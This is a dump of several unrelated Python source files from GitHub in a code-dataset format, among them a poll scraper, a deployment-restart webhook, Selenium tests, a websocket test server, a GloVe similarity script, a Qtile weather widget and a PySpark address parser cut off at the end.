(dict) : dict of footnotes (keys = markers, value = footnote text) \n \"\"\"\n\n response = requests.get(url)\n soup = BeautifulSoup(response.content, \"html.parser\")\n\n # table with poll data\n table = soup.find(\"table\")\n\n # table headers\n names_cols = [col.text.strip() for col in table.find_all(\"th\")]\n \n # loop over all the rows in the table and store in df\n rawdata = []\n for row in table.find_all(\"tr\"):\n cells = row.find_all(\"td\")\n rawdata.append({names_cols[i]: cells[i].text.strip() for i in range(len(names_cols))})\n df_rawdata = pd.DataFrame(rawdata)\n\n # footnotes as a dict\n tmp = soup.find('ul', id='notes').find_all(\"li\")\n footnotes = {}\n for li in tmp:\n footnotes[li['data-mark']] = li.text.replace('\\n', ' ').strip()\n \n return df_rawdata, footnotes\n\ndef parse_data(df_rawdata, names_candidates_and_others, footnotes, lims_sum_shares = [0.985, 1.015]):\n \"\"\"Parse poll results from html table\n\n Parameters:\n df_rawdata (DataFrame) : content of html table formatted as strings\n names_candidates_and_others (list): List of candidates in the election, incl. 'Others'\n footnotes (list) : footnotes to be removed\n lims_sum_shares (list) : lower and upper limit for sum of vote shares to determine if poll should be removed\n\n Returns:\n df_polls (DataFrame) : contains date of poll, pollster, sample size, vote shares in different formats (e.g. datetime, floats)\n \"\"\"\n \n df_polls = df_rawdata.copy()\n\n # remove footnotes\n for f in footnotes.keys():\n for col in df_polls.columns:\n # according to docu default is False, but without explicitly setting it to False encountered regex error!\n df_polls[col] = df_polls[col].str.replace(f, '', regex=False) \n\n # convert string columns to appropriate types\n df_polls['Date'] = pd.to_datetime(df_polls['Date'])\n\n df_polls['Sample'] = pd.to_numeric(df_polls['Sample'].str.replace(',', '')).astype('Int64') # replacing , if possible; float to int\n\n pat = re.compile(r\"[0-9\\.,]+\")\n\n for col in df_polls.columns:\n if col in names_candidates_and_others:\n # convert vote shares to numeric, removing any non-numeric characters except ',' or '.\n df_polls[col] = pd.to_numeric(df_polls[col].str.findall(pat).str.join(''), errors = 'coerce') / 100.0\n\n # remove polls that could not be parsed \n all_na = df_polls.loc[:, names_candidates_and_others].isna().all(axis=1)\n if sum(all_na) > 0:\n logging.warning('Excluded {} poll(s) because vote shares could not be converted to floats'.format(all_na.sum()))\n df_polls = df_polls.loc[~all_na, :]\n\n # remove polls whose vote shares differs from 1 by more than a given margin\n sum_shares = df_polls.loc[:, names_candidates_and_others].sum(axis=1)\n drop_row = (sum_shares < lims_sum_shares[0]) | (sum_shares > lims_sum_shares[1])\n if sum(drop_row) > 0:\n logging.warning('Excluded {} poll(s) because the sum of vote shares was smaller (larger) than {} ({}).'.format(drop_row.sum(), lims_sum_shares[0], lims_sum_shares[1]))\n df_polls = df_polls.loc[~drop_row, :]\n\n return df_polls\n\ndef calculate_trends(df_polls, \n names_candidates, \n k_days = '7D', \n method_interpolate = 'linear'):\n \"\"\"Calculate trend vote shares based on poll results\n\n Parameters:\n df_polls (DataFrame) : contains poll results\n names_candidates (list) : List of candidates in the election\n k_days (str) : rolling average window in days\n method_interpolate (str): method for interpolation of missing values\n\n Returns:\n df_trends (DataFrame) : contains trend vote shares (columns) over time (rows)\n\n \"\"\"\n # resample df_polls to daily frequency taking the mean over days\n df_trends = df_polls.set_index('Date').resample('D').mean()\n\n # 'Sample' is not needed for the trend calculations\n df_trends = df_trends.drop(columns=['Sample'])\n\n # interpolate missing values\n if method_interpolate == 'linear':\n df_trends = df_trends.interpolate(method='linear', limit_direction='both')\n else:\n raise ValueError('method_interpolate must be linear')\n \n # calculate k_days rolling average\n df_trends = df_trends.rolling(window=k_days, on = df_trends.index).mean()\n\n # overwrite trend of Others with 1 - sum of trends of all candidates (if Others is in df_trends)\n if 'Others' in df_trends.columns:\n df_trends['Others'] = 1 - df_trends.loc[:, names_candidates].sum(axis=1, skipna=False)\n\n return df_trends\n\ndef export_dfs_to_csv(df_polls, df_trends):\n \"\"\"Export dataframes to csv\"\"\"\n\n # bring columns in line with the example files\n df_polls = df_polls.rename(columns={'Date': 'date', 'Pollster': 'pollster', 'Sample': 'n'})\n df_trends.index.name = 'date'\n\n # write to csv\n df_polls.to_csv('./polls.csv', index=False)\n df_trends.to_csv('./trends.csv', index=True) # date is index!\n\n","repo_name":"philippotto-hauber/poll-tracker-assignment","sub_path":"tools_poll_tracker.py","file_name":"tools_poll_tracker.py","file_ext":"py","file_size_in_byte":5442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9412769284","text":"import imp\nfrom updater.config import webhook_config\nfrom . import app\nfrom . import config\nfrom flask import request, abort\ntry:\n from . import kube\nexcept ImportError:\n kube = None\nimport json\n\n\n@app.route('/<webhook_name>/<webhook_key>', methods=['POST'])\ndef index(webhook_name, webhook_key):\n if config.webhooks[webhook_name] is None:\n print(\"Invalid wehbook name\")\n abort(403)\n wh_config: config.WebhookConfig = config.webhooks[webhook_name]\n if not wh_config.is_key_valid(webhook_key):\n print(f\"Invalid webhook key: {webhook_key}\")\n print(f\"Expected key: {wh_config._raw_config['key']}\")\n abort(403)\n rq_json = request.get_json()\n if rq_json is None:\n print(\"Invalid JSON payload\")\n abort(403)\n if \"push_data\" not in rq_json:\n print(\"No push_data in payload\")\n abort(403)\n if \"tag\" not in rq_json[\"push_data\"]:\n print(\"No tag found in push_data\")\n abort(403)\n if rq_json[\"push_data\"][\"tag\"] != wh_config.cluster_tag:\n return \"That's cool and all but I don't care\"\n if kube is not None:\n namespace = wh_config.cluster_namespace\n label = wh_config.cluster_deployment_label\n return f\"{kube.restart_deployment(namespace, label)}\"\n return \"Pogging\"","repo_name":"bridgecrew-perf6/Deployment-Updater","sub_path":"updater/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72835889853","text":"import time\nfrom ..utils.log import log, INFO, ERROR, PASS\nfrom ..utils.i_selenium import assert_tab\nfrom ..utils.i_selenium import wait_for_xpath_element\nfrom ..tests import TestWithDependency\nfrom selenium.common.exceptions import TimeoutException, NoSuchElementException\n\n__all__ = [\"admin_stats_analytics\"]\n\n\n#####\n# Test : Admin Stats Analytics Page\n#####\n@TestWithDependency(\"ADMIN_STATS_ANALYTICS\", [\"ADMIN_STATS_SUMMARY\"])\ndef admin_stats_analytics(driver, ISAAC_WEB, WAIT_DUR, **kwargs):\n \"\"\"Test if admin stats analyitcs page works.\n\n - 'driver' should be a Selenium WebDriver.\n - 'ISAAC_WEB' is the string URL of the Isaac website to be tested.\n - 'WAIT_DUR' is the time in seconds to wait for JavaScript to run/load.\n \"\"\"\n assert_tab(driver, ISAAC_WEB + \"/admin/stats\")\n time.sleep(WAIT_DUR)\n try:\n analytics_button = driver.find_element_by_xpath(\"//a[@ui-sref='adminStats.isaacAnalytics']\")\n analytics_button.click()\n log(INFO, \"Clicked 'View Analytics' button.\")\n wait_for_xpath_element(driver, \"//h2[contains(text(), 'Last user locations')]\")\n except NoSuchElementException:\n log(ERROR, \"Can't find 'Analytics' button; can't continue!\")\n return False\n except TimeoutException:\n log(ERROR, \"Analytics page didn't load after clicking button; can't continue!\")\n return False\n\n try:\n locations_button = driver.find_element_by_xpath(\"//a[@ng-click='getLocationData()']\")\n locations_button.click()\n log(INFO, \"Click 'Generate Location Data' button.\")\n wait_for_xpath_element(driver, \"//div[@class='angular-google-map']\", 60)\n log(INFO, \"Google Map of location data loaded successfully.\")\n except TimeoutException:\n log(ERROR, \"Google Map didn't load!\")\n # return False # Is this really a fatal error; probably not!\n except NoSuchElementException:\n log(ERROR, \"Can't find 'Generate Location Data' button; can't continue testing!\")\n return False\n\n try:\n answer_graph_button = driver.find_element_by_xpath(\"//div[@ng-show='editingGraph']//li/label[text()='ANSWER_QUESTION']/../input\")\n answer_graph_button.click()\n log(INFO, \"Added 'ANSWER_QUESTION' events to graph.\")\n graph_button = driver.find_elements_by_xpath(\"//a[@ng-click='updateGraph()']\")[0]\n graph_button.click()\n log(INFO, \"Clicked to generate graph.\")\n wait_for_xpath_element(driver, \"//div[@ng-show='questionsAnsweredOverTime']/div[@data='questionsAnsweredOverTime']\", 25)\n log(INFO, \"A graph was shown as expected.\")\n except NoSuchElementException:\n log(ERROR, \"Can't find graph tickbox for 'ANSWER_QUESTION' events; can't continue!\")\n return False\n except IndexError:\n log(ERROR, \"Can't find 'Update Graph' button; can't continue!\")\n return False\n except TimeoutException:\n log(ERROR, \"Graph didn't load after clicking 'Update Graph' button; can't continue!\")\n return False\n\n log(PASS, \"Admin Stats Analytics page contains info as expected.\")\n return True\n","repo_name":"jsharkey13/isaac-selenium-testing","sub_path":"isaactest/tests/admin_stats_analytics.py","file_name":"admin_stats_analytics.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12667050581","text":"import websockets\n# import socket\nimport asyncio\n# import warnings\nimport struct\nimport UGV.Packet as packet\nimport UGV.Node as node\nimport time\n\nPORT = 1234\n#url = \"192.168.244.243\"\n# url = \"localhost\"\nurl = \"192.168.0.104\"\n\n# # Example path packet data\n# x = b'15.10100'\n# y = b'34.35000'\n# ts_ms = b'10506789'\n# v = b'2.300000'\n# heading = b'19.12345'\n# path = b'2' + x + y + ts_ms + v + heading\n\n# Example path packet data\nx = '15.10100'\ny = '34.35000'\nv = '2.300000'\nheading = '19.12345'\nts_ms = '10506789'\n\ntest = '5'\n\npath = x + y + ts_ms + v + heading\npath2 = '5' + x + y\n\nasync def start_network():\n async with websockets.serve(handler, url, PORT):\n # print(type(path))\n # print(path)\n await asyncio.Future() # run forever\n\n\n# create handler for each connection\nasync def handler(websocket):\n while(1):\n await websocket.send(path2.encode())\n data = await websocket.recv()\n print(data.decode())\n await asyncio.sleep(3)\n # reply = f\"Data recieved as: {data}!\"\n\n # await websocket.send(path2)\n # await websocket.send(test.encode())\n # await asyncio.sleep(5)\n\n\n\n# start_server = websockets.serve(handler, url, PORT)\n# asyncio.get_event_loop().run_until_complete(start_server)\n# asyncio.get_event_loop().run_forever()\nasyncio.run(start_network())\n","repo_name":"40I6-Capstone/Server-Backend","sub_path":"Test_server.py","file_name":"Test_server.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17923302575","text":"import uuid\n\nimport pytest\n\nfrom chemotion_api import Instance\n\ndef test_new_collection(logged_in_instance: Instance):\n col = logged_in_instance.get_root_collection()\n col.add_collection('Test_collection')\n col.save()\n\n\n tc = col.get_collection('Test_collection')\n assert tc.get_path() == '/Test_collection'\n tc.delete()\n col.save()\n col = logged_in_instance.get_root_collection()\n with pytest.raises(ModuleNotFoundError) as e:\n col.get_collection('Test_collection')\n\n@pytest.fixture()\ndef prepare_manipulation(logged_in_instance):\n name = uuid.uuid4().__str__()\n root_col = logged_in_instance.get_root_collection()\n new_root = root_col.add_collection(name)\n new_root.add_collection('A')\n new_root.add_collection('B')\n root_col.save()\n yield {\n 'instance': logged_in_instance,\n 'name': name,\n 'root_col': root_col,\n 'a_col': new_root.get_collection('A'),\n 'b_col': new_root.get_collection('B')\n }\n new_root.delete()\n root_col.save()\n\n\ndef test_move_collection(prepare_manipulation):\n name = prepare_manipulation['name']\n root_col = prepare_manipulation['root_col']\n b = prepare_manipulation['b_col']\n b.move('/{}/A'.format(name))\n root_col.save()\n with pytest.raises(ModuleNotFoundError) as e:\n root_col.get_collection(name + '/B')\n\n assert root_col.get_collection(name + '/A/B').label == 'B'\n assert root_col.get_collection(name).get_collection(['A', 'B']).label == 'B'\n assert root_col.get_collection(name).get_collection('A/B').label == 'B'\n assert root_col.get_collection(name).get_collection('/{}/A/B'.format(name)).label == 'B'\n\n\ndef test_rename_collection(prepare_manipulation):\n name = prepare_manipulation['name']\n root_col = prepare_manipulation['root_col']\n b = prepare_manipulation['b_col']\n b.label = 'B_NEW'\n root_col.save()\n\n assert root_col.get_collection(name + '/B_NEW').label == 'B_NEW'\n\ndef test_get_create_collection(logged_in_instance):\n root_col = logged_in_instance.get_root_collection()\n a = root_col.get_or_create_collection('A')\n b = a.get_or_create_collection('B')\n b1 = a.get_or_create_collection('B')\n\n\n assert b1.id == b.id\n\n\ndef test_sync(prepare_manipulation):\n root_col = prepare_manipulation['root_col']\n sync_root = root_col.sync_root\n with pytest.raises(Exception) as e:\n sync_root.add_collection('A')\n\n\n","repo_name":"StarmanMartin/ChemotionApi","sub_path":"tests/test_collection.py","file_name":"test_collection.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42286169835","text":"import time\nimport threading\nfrom baibaoxiang import baibaoxiangInterface,excel,sys_powel\nfrom baibaoxiang.sql import *\nfrom cese.数据库测试.pack.sql_user import *\nimport sys\n\n\nxxx=[]\nclass a(threading.Thread):\n def __init__(self,user_sum,sqlserver,sql,sql_name):\n threading.Thread.__init__(self)\n self.user_sum=int(user_sum)\n self.sqlserver=sqlserver\n self.sql=sql\n self.sql_name=sql_name\n\n\n def run(self):\n for i in range(self.user_sum):\n sql_b = \"SELECT * FROM `plus_users` WHERE user_id >\"+str(i+1)\n if i == 0:\n t4 = time.time()\n go=sql()\n aa = go.lianjie_sql(self.sql_name, sql_b, self.sqlserver)\n xxx.append(aa)\n # print(\"第\",i+1,\"条:\",aa)\n if i == self.user_sum - 1:\n t5 = time.time()\n kk = sys.getsizeof(xxx)\n print(\"共消耗时间:\",float(t5) - float(t4),\"秒,获取了\",kk,\"字节数据\")\n\n\n\nclass Bingfa_test:\n def bingfa_test_go(self,user_sum,b,c):\n t1=time.time()\n k1=a(user_sum,sql_226,b,c)\n k1.start()\n t2 = time.time()\n t3 = float(t2) - float(t1)\n print(\"发起\",user_sum,\"SQL请求,共耗时:\", t3,\"秒\")\n\n\n\n\nif __name__ == \"__main__\":\n sql_a = \"SELECT * FROM `plus_users` WHERE user_id >10\"\n Bingfa_test().bingfa_test_go(\"1\",sql_a,\"plus2test\")","repo_name":"woshichenya/All","sub_path":"weidong/cese/数据库测试/226.py","file_name":"226.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40796577084","text":"\n# import nltk\n# import nltk.data\n# from nltk.corpus import brown\nfrom nltk.tokenize import word_tokenize, sent_tokenize\n# from nltk.tokenize import blankline_tokenize, LineTokenizer\n# from nltk.probability import FreqDist\n# from nltk.util import bigrams, trigrams, ngrams\n# from nltk.stem import PorterStemmer\nfrom nltk.stem import wordnet, WordNetLemmatizer\n# from nltk import ne_chunk\n# import pandas as pd\nimport nltk\nfrom nltk.corpus import stopwords\nimport numpy as np\nimport os\nimport re\nimport scipy\nfrom pathlib import Path\nfrom db import DbContext\nimport yaml\nimport os.path\nimport itertools\nclass DepClaim:\n def __init__(self, claim_no, dependency):\n self.claim_no = claim_no\n self.dependency = dependency\n \nclass Glove:\n config_path = None\n config_dict = {}\n log_substr_length = 100\n regex_exp = \"^(.+?)[\\,\\.\\)]\"\n total_operation_flag = dependency_occurence_flag = 0\n word_lem = WordNetLemmatizer()\n model = None\n def __init__(self): \n self.config_path = Path(__file__).with_name('./config.yaml') \n self.glove_path = Path(__file__).parent.joinpath('training.data/glove.6B.50d.txt')\n with open(self.config_path, \"r\") as f:\n config_dict = yaml.safe_load(f) \n self.dbContextObj = DbContext(config_dict)\n self.model = self.loadGloveModel(self.glove_path)\n \n def loadGloveModel(self, gloveFile):\n print (\"Loading Glove Model\")\n with open(gloveFile, encoding=\"utf8\" ) as f:\n content = f.readlines()\n model = {}\n for line in content:\n splitLine = line.split()\n word = splitLine[0]\n embedding = np.array([float(val) for val in splitLine[1:]])\n model[word] = embedding\n print (\"Done.\",len(model),\" words loaded!\")\n return model\n\n def preprocess(self, raw_text):\n letters_only_text = re.sub(\"[^a-zA-Z]\", \" \", raw_text)\n words = letters_only_text.lower().split()\n\n # removing stopwords and performing lemmatization\n stopword_set = set(stopwords.words(\"english\"))\n cleaned_words = set([self.word_lem.lemmatize(w) for w in words if w not in stopword_set])\n \n # selecting the words that exist in the glove model alone\n return list(cleaned_words.intersection(self.model))\n\n\n def cosine_distance_wordembedding_method(self, s1, s2):\n print(s1)\n vector_1 = np.mean([self.model[word] for word in s1], axis = 0)\n vector_2 = np.mean([self.model[word] for word in s2], axis = 0)\n return scipy.spatial.distance.cosine(vector_1, vector_2)\n \n\n def similarity_between_two_sentences(self, s1, s2):\n print(f'Claim : {s1[:20]} and Claim: {s2[:20]}')\n s1 = self.preprocess(s1)\n s2 = self.preprocess(s2)\n cosine = self.cosine_distance_wordembedding_method(s1, s2)\n percentage = round((1-cosine) * 100, 2)\n return percentage\n \n def Evaluate(self):\n print('Starting .. ')\n os.system('clear')\n patents_df = self.dbContextObj.get_patent_ids()\n\n patents = patents_df['id'].tolist()\n print('Patent length : {}'.format(len(patents)))\n for patent in patents[:5]:\n print('Patent : {}'.format(patent))\n claims_list = []\n dependency_list = []\n dep_df = self.dbContextObj.get_dependencies_by_patent_id(patent)\n \n for patent_id, claim_id, dependency in dep_df.values.tolist():\n claims_df = self.dbContextObj.get_claims_by_id(claim_id)\n claim_text = claims_df['claim_text'][0]\n \n try:\n claim_no = self.get_claim_number(claim_text)\n except:\n continue\n \n claims_list.append(claim_text)\n dependency_list.append( DepClaim(claim_no, dependency) )\n \n print('Claims count : {}'.format(len(claims_list)))\n \n # possible_combinations = self.get_combinations(claims_list) \n every_first_and_second = zip(claims_list[0::2], claims_list[1::2]) \n for first_text, second_text in every_first_and_second: \n similarity_percentage = self.similarity_between_two_sentences(first_text, second_text)\n print('Word Embedding method with a cosine distance axes that our two sentences are similar to ', similarity_percentage,'%')\n\n try:\n first_text_claim_no = self.get_claim_number(first_text)\n second_text_claim_no = self.get_claim_number(second_text)\n except:\n continue\n \n # If score above a certain point then\n if float(similarity_percentage) > 0.75:\n print('Logging high similarity')\n # check if second claim number has dependencies\n dependency = next((x.dependency for x in dependency_list if x.claim_no == second_text_claim_no), None)\n \n if dependency:\n # if exists: check if first claim number is amongst them\n print('Logging dependency existence')\n if dependency in first_text_claim_no:\n print('Logging dependency match')\n # print('Patent_id : {} & Claim_no : {} & Dependency : ({})'.format(patent, first_text_claim_no, dependency) )\n self.dependency_occurence_flag += 1\n \n # else ignore\n self.total_operation_flag += 1\n \n print(\"{} \\t\\t {} \\t\\t Score: {:.4f}\".format(first_text, second_text, similarity_percentage))\n \n \n print('Total operations : {}'.format(self.total_operation_flag))\n print('Similarity operations : {}'.format(self.dependency_occurence_flag))\n \n \n def get_claim_number(self, claim_text):\n text = re.search(self.regex_exp, claim_text)[0]\n return text.rsplit('.', 1)[0]\n \n def get_combinations(self, input_list):\n combination_indices = list(itertools.combinations(range(len(input_list)), 2))\n print(combination_indices)\n\nGlove().Evaluate()\n","repo_name":"rahu619/Keras_playground","sub_path":"GloVe_approach.py","file_name":"GloVe_approach.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20233670884","text":"\"\"\"OpenWeatherMap widget for QTile\"\"\"\n\nimport requests\n\nfrom libqtile import pangocffi\nfrom libqtile.log_utils import logger\nfrom libqtile.widget import base\n\n__author__ = \"Simon Kennedy <sffjunkie+code@mail.com>\"\n__version__ = \"0.2\"\n\nICON_FONT = \"Weather Icons\"\n\nICONS = {\n \"Weather Icons\": { # https://github.com/erikflowers/weather-icons\n \"01d\": \"\\uF00D\", # Clear sky\n \"01n\": \"\\uF02E\",\n \"02d\": \"\\uF002\", # Few clouds\n \"02n\": \"\\uF086\",\n \"03d\": \"\\uF041\", # Scattered Clouds\n \"03n\": \"\\uF041\",\n \"04d\": \"\\uF013\", # Broken clouds\n \"04n\": \"\\uF013\",\n \"09d\": \"\\uF009\", # Shower Rain\n \"09n\": \"\\uF037\",\n \"10d\": \"\\uF008\", # Rain\n \"10n\": \"\\uF036\",\n \"11d\": \"\\uF010\", # Thunderstorm\n \"11n\": \"\\uF03B\",\n \"13d\": \"\\uF00A\", # Snow\n \"13n\": \"\\uF038\",\n \"50d\": \"\\uF003\", # Mist\n \"50n\": \"\\uF04A\",\n \"sleetd\": \"\\uF0B2\",\n \"sleetn\": \"\\uF0B3\",\n },\n \"Material Design Icons\": {\n \"01d\": \"\\U000F0599\", # Clear sky\n \"01n\": \"\\U000F0594\",\n \"02d\": \"\\U000F0595\", # Few clouds\n \"02n\": \"\\U000F0F31\",\n \"03d\": \"\\U000F0595\", # Scattered Clouds\n \"03n\": \"\\U000F0F31\",\n \"04d\": \"\\U000F0590\", # Broken clouds\n \"04n\": \"\\U000F0F31\",\n \"09d\": \"\\U000F0F33\", # Shower Rain\n \"09n\": \"\\U000F0F33\",\n \"10d\": \"\\U000F0597\", # Rain\n \"10n\": \"\\U000F0597\",\n \"11d\": \"\\U000F0596\", # Thunderstorm\n \"11n\": \"\\U000F0596\",\n \"13d\": \"\\U000F0598\", # Snow\n \"13n\": \"\\U000F0598\",\n \"50d\": \"\\U000F0591\", # Mist\n \"50n\": \"\\U000F0591\",\n \"sleetd\": \"\\U000F0596\",\n \"sleetn\": \"\\U000F0596\",\n },\n}\n\nCONDITION_CODES = {\n 200: (\"thunderstorm with light rain\", \"11d\", \"11n\"),\n 201: (\"thunderstorm with rain\", \"11d\", \"11n\"),\n 202: (\"thunderstorm with heavy rain\", \"11d\", \"11n\"),\n 210: (\"light thunderstorm\", \"11d\", \"11n\"),\n 211: (\"thunderstorm\", \"11d\", \"11n\"),\n 212: (\"heavy thunderstorm\", \"11d\", \"11n\"),\n 221: (\"ragged thunderstorm\", \"11d\", \"11n\"),\n 230: (\"thunderstorm with light drizzle\", \"11d\", \"11n\"),\n 231: (\"thunderstorm with drizzle\", \"11d\", \"11n\"),\n 232: (\"thunderstorm with heavy drizzle\", \"11d\", \"11n\"),\n 300: (\"light intensity drizzle\", \"09d\", \"09n\"),\n 301: (\"drizzle\", \"09d\", \"09n\"),\n 302: (\"heavy intensity drizzle\", \"09d\", \"09n\"),\n 310: (\"light intensity drizzle rain\", \"09d\", \"09n\"),\n 311: (\"drizzle rain\", \"09d\", \"09n\"),\n 312: (\"heavy intensity drizzle rain\", \"09d\", \"09n\"),\n 313: (\"shower rain and drizzle\", \"09d\", \"09n\"),\n 314: (\"heavy shower rain and drizle\", \"09d\", \"09n\"),\n 321: (\"shower drizzle\", \"09d\", \"09n\"),\n 500: (\"light rain\", \"10d\", \"10n\"),\n 501: (\"moderatelight rain\", \"10d\", \"10n\"),\n 502: (\"heavy intensity rain\", \"10d\", \"10n\"),\n 503: (\"very heavy rain\", \"10d\", \"10n\"),\n 504: (\"extreme rain\", \"10d\", \"10n\"),\n 511: (\"freezing rain\", \"13d\", \"13n\"),\n 520: (\"light intensity shower rain\", \"09d\", \"09n\"),\n 521: (\"shower rain\", \"09d\", \"09n\"),\n 522: (\"heavy intensity shower rain\", \"09d\", \"09n\"),\n 531: (\"ragged shower rain\", \"09d\", \"09n\"),\n 600: (\"light snow\", \"13d\", \"13n\"),\n 601: (\"snow\", \"13d\", \"13n\"),\n 602: (\"heavy snow\", \"13d\", \"13n\"),\n 611: (\"sleet\", \"sleetd\", \"sleetn\"),\n 612: (\"light shower sleet\", \"13d\", \"13n\"),\n 613: (\"shower sleet\", \"13d\", \"13n\"),\n 615: (\"light rain and snow\", \"13d\", \"13n\"),\n 616: (\"rain and snow\", \"13d\", \"13n\"),\n 620: (\"light shower snow\", \"13d\", \"13n\"),\n 621: (\"shower snow\", \"13d\", \"13n\"),\n 622: (\"heavy shower snow\", \"13d\", \"13n\"),\n 701: (\"mist\", \"50d\", \"50n\"),\n 711: (\"smoke\", \"50d\", \"50n\"),\n 721: (\"haze\", \"50d\", \"50n\"),\n 731: (\"sand / dust swirls\", \"50d\", \"50n\"),\n 741: (\"fog\", \"50d\", \"50n\"),\n 751: (\"sand\", \"50d\", \"50n\"),\n 761: (\"dust\", \"50d\", \"50n\"),\n 762: (\"volcanic ash\", \"50d\", \"50n\"),\n 771: (\"squalls\", \"50d\", \"50n\"),\n 781: (\"tornado\", \"50d\", \"50n\"),\n 800: (\"clear sky\", \"01d\", \"01n\"),\n 801: (\"few clouds\", \"02d\", \"02n\"),\n 802: (\"scattered clouds\", \"03d\", \"03n\"),\n 803: (\"broken clouds\", \"04d\", \"04d\"),\n 804: (\"overcast clouds\", \"04d\", \"04d\"),\n}\n\n# Handle the change of widget base class in the Qtile project\ntry:\n BaseClass = base.ThreadPoolText\n NewWidgetBase = True\nexcept AttributeError:\n BaseClass = base.ThreadedPollText # pylint: disable=no-member\n NewWidgetBase = False\n\nclass OpenWeatherMap(BaseClass):\n \"\"\"OpenWeatherMap widget for QTile\"\"\"\n\n orientations = base.ORIENTATION_HORIZONTAL\n defaults = [\n (\"api_key\", \"\", \"API Key for OpenWeatherMap data\"),\n (\"icon_font\", None, \"Font to use for weather icons\"),\n (\"format\", \"{temp:.1f}{temp_units} {icon}\", \"Format string\",),\n (\"update_interval\", 3600, \"Update interval in seconds between look ups\"),\n (\"latitude\", 51.4934, \"Latitude to look up weather data for\"),\n (\"longitude\", 0.0098, \"Longitude to look up weather data for\"),\n (\"units\", \"metric\", \"Temperature units to use\"),\n ]\n\n def __init__(self, **config):\n if NewWidgetBase:\n super().__init__(\"\", **config)\n else:\n super().__init__(**config)\n\n self.add_defaults(OpenWeatherMap.defaults)\n if not self.api_key:\n logger.exception(\n \"OpenWeatherMap: An API key is required. Pass as the `api_key` parameter\"\n )\n self.url = f\"https://api.openweathermap.org/data/2.5/weather?lat={self.latitude}&lon={self.longitude}&appid={self.api_key}&units={self.units}\"\n if not self.icon_font: # pylint: disable=access-member-before-definition # icon_font created by add_defaults\n self.icon_font = ICON_FONT\n self.markup = True\n\n def poll(self):\n resp = requests.get(self.url)\n self.status = resp.status_code\n if resp.status_code == 200:\n _lookup = lambda group, key: group[key] if key in group else \"\"\n data = resp.json()\n owm_icon = _lookup(data[\"weather\"][0], \"icon\")\n day = owm_icon[-1] == \"d\"\n\n owm_condition = _lookup(data[\"weather\"][0], \"id\")\n if owm_condition in CONDITION_CODES:\n condition = CONDITION_CODES[owm_condition][0].capitalize()\n if day:\n icon_id = CONDITION_CODES[owm_condition][1]\n else:\n icon_id = CONDITION_CODES[owm_condition][2]\n else:\n condition = \"Unknown\"\n logger.warning(\n f\"OpenWeatherMap: Unknown condition {owm_condition} received\"\n )\n if day:\n icon_id = \"01d\"\n else:\n icon_id = \"01n\"\n\n temp_units = {\"metric\": \"°C\", \"imperial\": \"°F\", \"standard\": \"°K\"}[\n self.units\n ]\n self.format = self.format.replace(\"{icon}\", '<span face=\"{icon_font}\">{icon}</span>')\n info = {\n \"icon\": ICONS[self.icon_font][icon_id],\n \"icon_font\": self.icon_font,\n \"condition\": condition,\n \"temp_units\": temp_units,\n \"temp\": _lookup(data[\"main\"], \"temp\"),\n \"temp_min\": _lookup(data[\"main\"], \"temp_min\"),\n \"temp_max\": _lookup(data[\"main\"], \"temp_max\"),\n \"temp_feels_like\": _lookup(data[\"main\"], \"feels_like\"),\n \"pressure\": _lookup(data[\"main\"], \"pressure\"),\n \"humidity\": _lookup(data[\"main\"], \"humidity\"),\n }\n\n return self.format.format(**info)\n else:\n return f\"OpenWeatherMap Error {resp.status_code}\"\n","repo_name":"NimbleClint/ShaiHulud","sub_path":"qtile/.config/qtile/owm.py","file_name":"owm.py","file_ext":"py","file_size_in_byte":7723,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"78"} +{"seq_id":"29145428435","text":"import pandas as pd\r\nimport numpy as np\r\nimport psycopg2\r\nfrom psycopg2.extensions import connection\r\nfrom pyspark.sql import SparkSession\r\nfrom pyspark.sql.functions import when, expr, udf, col, size, lit, count,explode,sum\r\nfrom pyspark.sql.types import StructType, StructField, StringType,ArrayType, IntegerType\r\n\r\n\r\n\r\n\r\n# Create Spark Session\r\nspark = SparkSession.builder.appName(\"Address Ranges Count by Country\").getOrCreate()\r\n\r\ndef parse_hnr_tags(tags, tags_network, interpolation):\r\n # Initialize variables to store parsed information\r\n constant = None\r\n interpolation_value = None\r\n intermediates = None\r\n street = None\r\n\r\n # Parse tags\r\n if tags:\r\n tags_list = [tag.split(\"=>\") for tag in tags.split('\",')]\r\n for tag in tags_list:\r\n key = tag[0].strip('\" ')\r\n value = tag[1].strip('\" ')\r\n if key == \"constant\":\r\n constant = value\r\n if key == \"street\":\r\n street = value\r\n\r\n # Parse tags_network\r\n if tags_network:\r\n tags_network_list = [tag.split(\"=>\") for tag in tags_network.split('\",')]\r\n for tag in tags_network_list:\r\n key = tag[0].strip('\" ')\r\n value = tag[1].strip('\" ')\r\n if key == \"interpolation\":\r\n interpolation_value = value\r\n if key == \"intermediate\":\r\n intermediates = [hsn.strip() for hsn in value.split(\",\")]\r\n\r\n # If interpolation is not provided, use interpolation_value\r\n if interpolation is None:\r\n interpolation = interpolation_value\r\n\r\n # Return the parsed information as a tuple\r\n return (constant, interpolation_value, interpolation, intermediates, street)\r\n\r\n\r\n\r\n# Sample preprocessing logic (replace with your actual preprocessing logic)\r\ndef preprocess_hnr_hsn_udf(min_hsn, max_hsn):\r\n def process_hsn(hsn):\r\n # Sample preprocessing logic for a single house number\r\n # Replace this with your own logic to process a single house number\r\n if hsn is not None:\r\n hsn = hsn.strip() # Remove leading and trailing spaces\r\n hsn = hsn.upper() # Convert to uppercase\r\n return hsn\r\n\r\n min_hsn = process_hsn(min_hsn)\r\n max_hsn = process_hsn(max_hsn)\r\n\r\n return (min_hsn, 